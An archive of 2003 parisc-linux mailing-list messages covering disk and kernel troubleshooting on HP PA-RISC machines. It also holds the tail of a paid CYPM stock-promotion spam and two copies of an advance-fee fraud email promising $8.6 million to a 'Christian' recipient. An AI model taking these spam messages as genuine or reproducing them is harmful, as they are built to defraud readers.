00.  This means many U.S.-based producers of animated programming such as =
Film Roman now have to subcontract some of the less creative and more labo=
r-intensive components of its production process to animation studios loca=
ted in low-cost labor countries, such as Korea. As the number of animated =
feature films and animated television programs expands, the demand for the=
 services of overseas studios has expanded likewise. This demand may lead =
overseas studios to raise their fees, which may result in a rise in produc=
tion costs, or an inability to contract with the Company's preferred overs=
eas studios.



HOW MUCH MONEY IS IN THIS INDUSTRY?

The list of Top Ten grossing animated movies is impressive.  The Lion King=
 is at number one with a total gross of 312.8 million dollars.  Shrek brin=
gs up second place with a whopping 267.6 million, and Monsters, Inc. takes=
 third with 255.3 million.  The other seven rounding out the list post an =
impressive Billion-plus.

But the most recent animated feature that comes to mind is playing in thea=
ters now.  "Finding Nemo," sold about 70.6 million worth of tickets in its=
 first three days, setting a new opening record for a cartoon, surpassing =
the 62.5 million bow of "Monsters, Inc." in November 2001. And although Ne=
mo is a Walt Disney production, Disney no longer has a monopoly on animate=
d features.  In fact, of the Top 10 grossing animated features of all time=
, 4 are Walt Disney productions while Pixar, a newcomer in comparison, als=
o has 4, with Fox and DreamWorks rounding out the list.

But earnings for such movies don't stop at the box office.  Just the oppos=
ite--they are only beginning.  Merchandising from these movies, everything=
 from lunch boxes to video games to DVD sales, from Wal-mart to McDonald's=
 to Burger King, range in the billions of dollars--and never forget about =
the impending sequels.  Sales are huge, and CYPM through Cyper (now with f=
inancing on the way and MGM on their side) is poised to make the climb to =
the top.  It's only a matter of time.




Find out more about CYPM @ www.cypermedia.com.



Please note that Cyper Media had absolutley nothing to do with this report=
 and is not a participant in any way.









No more advertisements: www.4inch6.com/f.html









Stock Market Watcher is an independent research firm. This report is based=
 on Stock Market Watcher's independent analysis but also relies on informa=
tion supplied by sources believed to be reliable. This report may not be t=
he opinion of CYPM management. Stock Market Watcher has also been retained=
 to research and issue reports on CYPM. Stock Market Watcher may from time=
 to time purchase or sell CYPM common shares in the open market without no=
tice. The information contained in this report shall not constitute, an of=
fer to sell or solicitation of any offer to purchase any security. It is i=
ntended for information only. Some statements may contain so-called "forwa=
rd-looking statements". Many factors could cause actual results to differ.=
 Investors should consult with their Investment Advisor concerning CYPM. C=
opyright 2003 =A9 Stock Market Watcher Ltd. All Rights Reserved. This news=
letter was distributed by MMS, Inc. MMS was paid ninety thousand shares CY=
PM stock to distribute this report. MMS is not affiiated with Stock Market=
 Watcher and is not responsible for newsletter content.





























vtfq

--C.4D001F6F6--



From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CrazyCat from CPF" <crazycat@c-p-f.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trouble whith hp-pa 712/80
Date: Thu, 20 Nov 2003 12:32:28 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <01b201c3af59$fa8d72f0$65c0a8c0@directannonces.com>
Reply-To: "CrazyCat from CPF" <crazycat@c-p-f.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622976 1992 80.91.229.3 (22 Nov 2014 02:22:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:56 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 04:32:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from da-horus.directannonces.com (unknown [81.80.128.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7F5A4840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 04:32:13 -0700 (MST)
Original-Received: from crazycat ([192.168.192.101]) by da-horus.directannonces.com with Microsoft SMTPSVC(5.0.2195.6713);
	 Thu, 20 Nov 2003 12:32:28 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-OriginalArrivalTime: 20 Nov 2003 11:32:28.0661 (UTC) FILETIME=[FA870A50:01C3AF59]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20146

Hi there,

I'm trying to install an old hp-pa 712/80.
I've to change the hard disk, so I use a 3.2GB one.

When initialising hard disk, I make these partitions:

Disk Drive: /dev/sda
Size: 3216310272 bytes
Heads: 255   Sectors per Track: 63   Cylinders: 391

    Name        Flags      Part Type  FS Type          [Label]        Size
(MB)
 ---------------------------------------------------------------------------
---
    sda1       Boot         Primary   Linux/PA-RISC boot
32.91
    sda2                    Primary   Linux ext2
49.36
    sda3                    Primary   Linux swap
131.61
    sda5                    Logical   Linux
1497.01
    sda6                    Logical   Linux
1505.23

And after, I try to initialise partition sda5 (sda1 to sda3 are allready
initialised).
And the system blocks when writing superblocks....

What's the trouble? my disk is ok.
I'd tried with smaller sda5, or greater, or sda4 (primary) using the 3GB
staying... allways the same.


CrazyCat from C-P-F.org



From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble whith hp-pa 712/80
Date: Thu, 20 Nov 2003 10:42:17 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20031120174217.GA7392@colo.lackof.org>
References: <01b201c3af59$fa8d72f0$65c0a8c0@directannonces.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622976 1995 80.91.229.3 (22 Nov 2014 02:22:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: CrazyCat from CPF <crazycat@c-p-f.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 10:42:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id E56F54840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 10:42:18 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 0AE67298034; Thu, 20 Nov 2003 10:42:18 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 07509-01; Thu, 20 Nov 2003 10:42:17 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5B94C298033; Thu, 20 Nov 2003 10:42:17 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <01b201c3af59$fa8d72f0$65c0a8c0@directannonces.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20147

On Thu, Nov 20, 2003 at 12:32:28PM +0100, CrazyCat from CPF wrote:
> And after, I try to initialise partition sda5 (sda1 to sda3 are allready
> initialised).
> And the system blocks when writing superblocks....

Is this using a 2.4.22 kernel?
Can you try a newer kernel?

auto-built 2.4.22 kernels are available from:
	http://cvs.parisc-linux.org/download/linux-2.4/autobuild/32

or use a 2.6 kernel if you have serial console:
	http://cvs.parisc-linux.org/download/linux-2.6/autobuild/32

I have no clue why writing superblocks is fast at first and then
slows down dramatically. Feels like the buffer cache get filled
and the VM starts thrashing the disk. Waiting 5 or 10 minutes for
it to complete might be suficient.

grant


From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CrazyCat from CPF" <crazycat@c-p-f.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble whith hp-pa 712/80
Date: Thu, 20 Nov 2003 18:50:49 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <00e101c3af8e$d56c5790$65c0a8c0@directannonces.com>
References: <01b201c3af59$fa8d72f0$65c0a8c0@directannonces.com> <20031120174217.GA7392@colo.lackof.org>
Reply-To: "CrazyCat from CPF" <crazycat@c-p-f.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622977 1998 80.91.229.3 (22 Nov 2014 02:22:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:57 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 10:50:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from da-horus.directannonces.com (unknown [81.80.128.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48CFB4840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 10:50:35 -0700 (MST)
Original-Received: from crazycat ([192.168.192.101]) by da-horus.directannonces.com with Microsoft SMTPSVC(5.0.2195.6713);
	 Thu, 20 Nov 2003 18:50:49 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-OriginalArrivalTime: 20 Nov 2003 17:50:49.0593 (UTC) FILETIME=[D5565E90:01C3AF8E]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20148

Grant Grundler wrote:
> On Thu, Nov 20, 2003 at 12:32:28PM +0100, CrazyCat from CPF wrote:
>> And after, I try to initialise partition sda5 (sda1 to sda3 are
>> allready initialised).
>> And the system blocks when writing superblocks....
>
> Is this using a 2.4.22 kernel?
> Can you try a newer kernel?

Well, I'm using liveimage to start and install by lan, so I'm not sure of
the kernel and can't verify yet... must wait monday to verify.

And I'm practically newbie with debian :(

CrazyCat from C-P-F.org



From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3000 and 2.6
Date: Thu, 20 Nov 2003 18:52:50 +0000 (GMT)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622977 2002 80.91.229.3 (22 Nov 2014 02:22:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 11:52:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 572334840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 11:52:56 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hAKIqpIX023898
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 18:52:51 GMT
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20149

Hi,

before I'm wasting my time compiling the kernel, is the
serial console now working with 2.6?

There used to be problems with the SCSI driver aswell (would complain
that termination problem was present, but AFAIK this was already fixed)?


Right now I'm using a 120GB IDE using the onboard IDE of the C3k, and
I get just about 3MB/s with 2.4.22-paX, which might indicate that DMA is
not supported (I turned DMA/32bit on with hdparm, but no effects). I also
doubt that the driver for the onboard IDE chipset is much better in the
2.6 kernel, so I opted to install a IDE PCI card.

Unfortunately the only new PCI IDE cards you can get in the shops these
days that are ones with the Promise or the SiliconImage chipset;
suppor for the Promise chipset under linux used to be crap, and
SiliconImage is only suppoted with 2.6, but at least it works, so I went
for the latter. Therefore I'm eager to get 2.6 running!


Thanks,
  Max


PS: Building network scheduling (QoS) as modules results in unresolved
    symbols (using 2.4.22-pa13). Building then in the kernel (2.4.22-pa17)
    works.


From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mother Serena Jones <sdejoj0@tiscali.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Remain blessed in the name of the Lord.
Date: Thu, 20 Nov 2003 19:59:09 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <20031120185908.02D45F44@cuprel1.hp.com>
Reply-To: sejojo@tiscali.co.uk
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="b98d29d1-0a1b-4cf6-afcc-668184dab413"
X-Trace: ger.gmane.org 1416622977 2005 80.91.229.3 (22 Nov 2014 02:22:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 11:59:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D91D4840
	for <parisc-linux@parisc-linux.org>; Thu, 20 Nov 2003 11:59:09 -0700 (MST)
Original-Received: from tiscali1720.com (node-d-58e5.a2000.nl [62.195.88.229])
	by cuprel1.hp.com (Postfix) with SMTP id 02D45F44
	for <parisc-linux@parisc-linux.org>; Thu, 20 Nov 2003 10:59:08 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20150

This is a multi-part message in MIME format
--b98d29d1-0a1b-4cf6-afcc-668184dab413
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

From: Mrs Serena Jones


PLEASE ENDEAVOUR TO USED IT FOR THE CHILDREN OF GOD.
I am the above named person from Kuwait. I am married to Dr.Harry Jones who =
worked with Kuwait embassy in Ivory Coast for nine yearsbefore he died in the =
year 2000.We were married for eleven years without a child. He died after a =
brief illness that lasted for only four days. Before his death we were both =
born again Christians.Since his death I decided not to re-marry or get a =
child outside my  matrimonial home which the Bible is against.When my
late husband was alive he deposited the sum of$8.6Million (Eight Millionsix =
hundred  thousand U.S. Dollars) with one finance/security company in =
Amsterderm Holland. Presently, this money is still with the Security Company. =
Recently, my Doctor told me that I would not last for the next
three months due to cancer problem. Though what disturbs me most is my  =
stroke sickness. Having known my condition I decided to donate this fund to =
church or better still a christian individual that will utilize this money =
the way I am going to instruct here in. I want a church that will
use this fund to fund churches, orphanages and widows propagating the word of =
God and to ensure  that the house of God is maintained. The Bible made us to =
understand that Blessed is the hand that giveth.
I took this decision because I don't have any child that will  inherit this =
money and my husband relatives are not Christians and I don't want my =
husband's hard earned money to be misused by unbelievers. I don'twant a =
situation where this money will be used in an ungodly manner.
Hence the reason for taking this bold decision. I am not afraid of death =
hence I know where I am going. I know that I am going to be in the bosom of =
the Lord. Exodus 14 VS 14 says that  the lord will fight my case and I shall =
hold my peace. I don't need any telephone communication in this
regard because of my health because of the presence of my husband's relatives =
around me always. I don't want them to know about this development. 
With God all things are possible.  As soon as I receiveyour reply I shall =
give you the contact of the Finance/Security Company in Amsterderm Holland. I =
will also issue you a letter of authority that will prove you as the =
original- beneficiary of this fund. I want you and the church to always pray =
for me because the lord is my shephard. My 
happiness is that I lived a life of a worthy Christian. Whoever that wants to =
serve the Lord must serve him in spirit and truth. Please always be prayerful =
all through your life. Any delay  in your reply will give me room in sourcing =
for a chuch or christian individual for this
same purpose. Please assure me that you will act accordingly as I stated =
herein.  Hoping to hearing from you. N.B-PLEASE I WILL ADVICE YOU TO CONTACT =
THE LAWYER IN CHARGE IN HOLLAND IMMEDIATELY, HE DOES EVERYTHING ON MY BEHALF =
AND HE'S VERY UNDERSTANDING AND I BELIEVE HE WILL LEAD YOU TO YOUR SUCCESS IN =
JESUS 
NAME:      Medube Ben Smith
TELL:      00 31645840763
Remain blessed in the name of the Lord.
Yours in Christ,
Mrs Serena Jones  
  
--b98d29d1-0a1b-4cf6-afcc-668184dab413--



From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6
Date: Thu, 20 Nov 2003 19:02:59 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20031120190259.GL30485@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622978 2011 80.91.229.3 (22 Nov 2014 02:22:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 12:03:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08B4E4840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 12:03:01 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AMu4x-0000K3-L5; Thu, 20 Nov 2003 19:02:59 +0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20151

On Thu, Nov 20, 2003 at 06:52:50PM +0000, M. Grabert wrote:
> before I'm wasting my time compiling the kernel, is the
> serial console now working with 2.6?

Not really.

> There used to be problems with the SCSI driver aswell (would complain
> that termination problem was present, but AFAIK this was already fixed)?

Yes, I found that bug a few weeks ago.

> Right now I'm using a 120GB IDE using the onboard IDE of the C3k, and
> I get just about 3MB/s with 2.4.22-paX, which might indicate that DMA is
> not supported (I turned DMA/32bit on with hdparm, but no effects). I also
> doubt that the driver for the onboard IDE chipset is much better in the
> 2.6 kernel, so I opted to install a IDE PCI card.

Yeah ... I wouldn't recommend using the internal chipset for writable
data ;-)

> PS: Building network scheduling (QoS) as modules results in unresolved
>     symbols (using 2.4.22-pa13). Building then in the kernel (2.4.22-pa17)
>     works.

... which symbols?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mother Serena Jones <sdejoj0@tiscali.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Remain blessed in the name of the Lord.
Date: Thu, 20 Nov 2003 20:03:41 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <20031120190339.8629648A9@dsl2.external.hp.com>
Reply-To: sejojo@tiscali.co.uk
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="a89123a9-f350-4162-bae6-63d70769bc3e"
X-Trace: ger.gmane.org 1416622978 2013 80.91.229.3 (22 Nov 2014 02:22:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 20 12:03:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tiscali1240.com (node-d-58e5.a2000.nl [62.195.88.229])
	by dsl2.external.hp.com (Postfix) with SMTP id 8629648A9
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Nov 2003 12:03:39 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20152

This is a multi-part message in MIME format
--a89123a9-f350-4162-bae6-63d70769bc3e
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

From: Mrs Serena Jones


PLEASE ENDEAVOUR TO USED IT FOR THE CHILDREN OF GOD.
I am the above named person from Kuwait. I am married to Dr.Harry Jones who =
worked with Kuwait embassy in Ivory Coast for nine yearsbefore he died in the =
year 2000.We were married for eleven years without a child. He died after a =
brief illness that lasted for only four days. Before his death we were both =
born again Christians.Since his death I decided not to re-marry or get a =
child outside my  matrimonial home which the Bible is against.When my
late husband was alive he deposited the sum of$8.6Million (Eight Millionsix =
hundred  thousand U.S. Dollars) with one finance/security company in =
Amsterderm Holland. Presently, this money is still with the Security Company. =
Recently, my Doctor told me that I would not last for the next
three months due to cancer problem. Though what disturbs me most is my  =
stroke sickness. Having known my condition I decided to donate this fund to =
church or better still a christian individual that will utilize this money =
the way I am going to instruct here in. I want a church that will
use this fund to fund churches, orphanages and widows propagating the word of =
God and to ensure  that the house of God is maintained. The Bible made us to =
understand that Blessed is the hand that giveth.
I took this decision because I don't have any child that will  inherit this =
money and my husband relatives are not Christians and I don't want my =
husband's hard earned money to be misused by unbelievers. I don'twant a =
situation where this money will be used in an ungodly manner.
Hence the reason for taking this bold decision. I am not afraid of death =
hence I know where I am going. I know that I am going to be in the bosom of =
the Lord. Exodus 14 VS 14 says that  the lord will fight my case and I shall =
hold my peace. I don't need any telephone communication in this
regard because of my health because of the presence of my husband's relatives =
around me always. I don't want them to know about this development. 
With God all things are possible.  As soon as I receiveyour reply I shall =
give you the contact of the Finance/Security Company in Amsterderm Holland. I =
will also issue you a letter of authority that will prove you as the =
original- beneficiary of this fund. I want you and the church to always pray =
for me because the lord is my shephard. My 
happiness is that I lived a life of a worthy Christian. Whoever that wants to =
serve the Lord must serve him in spirit and truth. Please always be prayerful =
all through your life. Any delay  in your reply will give me room in sourcing =
for a chuch or christian individual for this
same purpose. Please assure me that you will act accordingly as I stated =
herein.  Hoping to hearing from you. N.B-PLEASE I WILL ADVICE YOU TO CONTACT =
THE LAWYER IN CHARGE IN HOLLAND IMMEDIATELY, HE DOES EVERYTHING ON MY BEHALF =
AND HE'S VERY UNDERSTANDING AND I BELIEVE HE WILL LEAD YOU TO YOUR SUCCESS IN =
JESUS 
NAME:      Medube Ben Smith
TELL:      00 31645840763
Remain blessed in the name of the Lord.
Yours in Christ,
Mrs Serena Jones  
  
--a89123a9-f350-4162-bae6-63d70769bc3e--



From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
